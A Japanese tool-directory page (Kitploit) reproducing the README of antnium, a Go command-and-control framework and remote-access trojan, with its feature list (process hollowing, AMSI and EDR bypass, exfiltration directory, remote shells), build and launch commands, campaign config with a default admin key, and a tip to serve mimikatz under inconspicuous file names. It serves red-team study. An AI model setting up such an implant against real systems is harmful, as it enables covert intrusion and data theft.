Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
antnium — Go製の初期アクセス用C2フレームワーク | Kitploit
ツール/GitHubGitHub/dobin/antnium
データ流出ポストエクスプロイトコマンド&コントロールレッドチーミングペイロード開発リモートアクセストロイの木馬Archived
GitHubdobin/antnium

antnium

Go製の初期アクセス用C2フレームワーク

リポジトリを見る
200374年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Antnium

root@kitploit:~
Anti Tanium

Goで書かれたC2フレームワークおよびRATです。

このソースコードは、私のプレゼンテーション Develop your own RAT - AV & EDR Defense の参考として公開されています。 Antniumは私自身の要件を満たすことを意図しており、他者の要件を満たすものではありません。私が実施したキャンペーンでは機能しますが、必ずしも汎用的なC2フレームワークであることを意図していません。

2つのコンポーネントがあります:

  • client.exe: 実際のRAT / ビーコン / エージェント / インプラント
  • server.exe: C2サーバー

特徴

  • HTTP/SおよびWebsocket通信チャネル
  • プロキシサポート(手動、Windows、認証付き、Kerberos)
  • コマンド実行
    • 直接のLOLbins
      • ファイルを先にコピー
      • プロセス・ホローイング
    • 対話型cmd.exe/Powershellシェル
    • リモートのマネージド/アンマネージドコード
      • donutを使用
      • PEからシェルコードへ
      • 暗号化
      • AMSIバイパス
  • ReflexxionによるEDRバイパス(ntdll.dllリストア)
  • 暗号化通信
  • Malleable C2
  • ファイルのアップロード/ダウンロード
  • ファイルブラウザ

クイック使用方法

Go(およびgit)をダウンロードしてインストールします。

ここではC2ドメインとして 127.0.0.1:8080 を使用します(client.exeとserver.exeの両方を同一ホストで起動するためlocalhostです)。これもデフォルトなので、変更する必要はありません。

campaign/campaign.go のキャンペーンを確認してください:

  • serverUrl = "http://127.0.0.1:8080"

Windowsでビルド:

root@kitploit:~
> .\makewin.bat deploy

Linuxでビルド:

root@kitploit:~
$ make deploy

サーバーとクライアントを起動:

root@kitploit:~
cd build\
.\server.exe
.\static\client.exe

server.exeを起動した後、ブラウザで以下のURLを開いてWebUIにアクセスします:

root@kitploit:~
http://localhost:8080/webui/

ディレクトリ

static/:ツール用の公開ディレクトリ

他のマシンにダウンロードさせたいファイルを置きます。client.exe、wingman.exeなど。そしてmimikatz.exeやseatbelt.exeなどのツールも。ただし、より目立たないファイル名を使用してください。

ファイルは、暗号化されたファイル名でリクエストする /secure APIを介しても利用でき、レスポンスとして暗号化+base64エンコードされたファイルが返されます。

dotNetファイルは、remote実行オプションを使用して実行できます(/secure経由でアクセス)。

upload/:データ外部送信のためのプライベートディレクトリ

クライアントからのファイルアップロードはここに保存されます。

詳細なビルド手順

Goのインストール:

  • Windows: https://golang.org/doc/install
  • Linux: apt install golang gcc-mingw-w64

client.exeとserver.exeをコンパイル:

root@kitploit:~
> .\makewin.bat deploy

これにより次が作成されます:

  • /build/server.exe
  • /build/server.elf
  • /build/static/client.exe
  • /build/static/client.elf
  • /build/static/wingman.exe
  • /build/upload/
  • /build/webui/

server.exeを起動:

root@kitploit:~
> cd build
> .\server.exe

Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json 
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080  

client.exeを起動:

root@kitploit:~
> .\build\static\client.exe

Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...

クロスコンパイルに関する注意

LinuxからWindowsクライアントをコンパイルすることは可能ですが、いくつかのWindows依存関係のため、手動でのGO gccコマンドラインの技術が必要です。すぐに動作しない場合は、WindowsクライアントをWindows上でコンパイルしてください(makewin.bat client)。

キャンペーン構成に関する注意

pkg/campaign/campaign.go は、コンパイルされたclient.exeを特定のserver.exeに接続し、キャンペーンを形成します。キャンペーンには個別の暗号化キーと認証キーがあり、サーバーとクライアント間で共有されます。

root@kitploit:~
type Campaign struct {
	ApiKey      string  // Key used to access client facing REST
	EncKey      []byte  // Key used to encrypt packets between server/client

	ServerUrl   string  // URL of the server, as viewed from the clients
}

また、管理UI/オペレーターキーは pkt/server/config.go にあります:

root@kitploit:~
type Config struct {
	AdminApiKey string
}

ServerUrl は、クライアントがサーバーとのすべてのやり取りに使用するURLです。これは公開サーバーURLであり、例:http://totallynotmalware.ch。実際のserver.exeはリバースプロキシの背後にあり、server.exe --listenaddr 127.0.0.1:8080 で起動される場合があります(そのため ServerUrl は必ずしも listenaddr と等しくありません)。

サーバーアクセスに関する注意

サーバーに初めて接続するときは、最初にUIにアクセスして設定する必要があります。

Angular UIファイルは公開されています。ServerUrl="http://localhost:8080" と listenaddr=0.0.0.0:8080 を想定します。次のいずれかを使用できます:

  • 統合されたantniumuiを使用する。ブラウザで http://localhost:8080/webui として利用可能
  • またはantniumuiディレクトリで ng serve を実行し、ブラウザで http://localhost:4200 を開く

ブラウザでUIに接続するときは、最初にサーバーのIPとパスワードを設定する必要があります:

  • AdminApiKey(デフォルト:"Secret-AdminApi-Key"、設定デフォルトと同じ)
  • ServerIP(デフォルト:"http://localhost:8080")
  • User(任意、ランダムに選択可能)

クライアント

テスト済み:

  • Windows 10
  • Ubuntu 20.04 LTS

Windowsでコンパイル:

root@kitploit:~
> .\makewin.bat client

ターゲットに展開します。

サーバー

テスト済み:

  • 動作: Ubuntu 20.04 LTS、Go 1.13.8
  • 動作: Windows 10、Go 1.16.6
  • コンパイル失敗: Ubuntu 16.04 LTS、Go 1.6.2

Linuxの場合:

root@kitploit:~
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080

結果は server.exe です。作業ディレクトリとして以下がある、または想定されるディレクトリで実行してください:

  • upload/
  • static/
  • db.*.json

そのポートでRESTサーバーが起動し、以下を提供します:

  • /:クライアント向けREST
  • /ws:クライアント向けWebsocket
  • /admin:管理インターフェース向けREST(パケット追加、クライアント取得)
  • /adminws:管理インターフェース向けWebsocket(パケットプッシュ)
  • /webui:管理インターフェース用HTMLファイル(Angularソースとhtml、RESTとwebsocketにアクセス)

その前にリバースプロキシを配置するか(websocketをサポートしていることを確認してください!)、ポートを転送してください。

オプション

手動プロキシの場合は、完全なHTTP URLを使用します:

root@kitploit:~
client.exe -proxy http://proxy:8080

または環境変数を介して:

root@kitploit:~
export PROXY http://localhost:8080
./client

Wingman

Wingmanは基本的にクライアントですが、C2への直接接続はありません。 localhost:50000の既存クライアントに接続できます(Campaign.AutoStartDownstreamsがfalseの場合は、起動していることを確認してください)。

localhostポート50000に接続:

root@kitploit:~
wingman.exe

またはrundll32.exeを使用してdllをロードします(system32の64ビット版rundll32を使用。C:\Windows\SysWOW64\rundll32.exeの32ビット版ではありません):

root@kitploit:~
C:\Windows\System32\rundll32.exe .\wingman.dll,Start

これはダウンストリーム net#0 として表示されます。

テスト

root@kitploit:~
go test ./...

まだレースコンディションが存在する可能性があります。一度失敗した場合は、もう一度実行してください。

ツールをダウンロード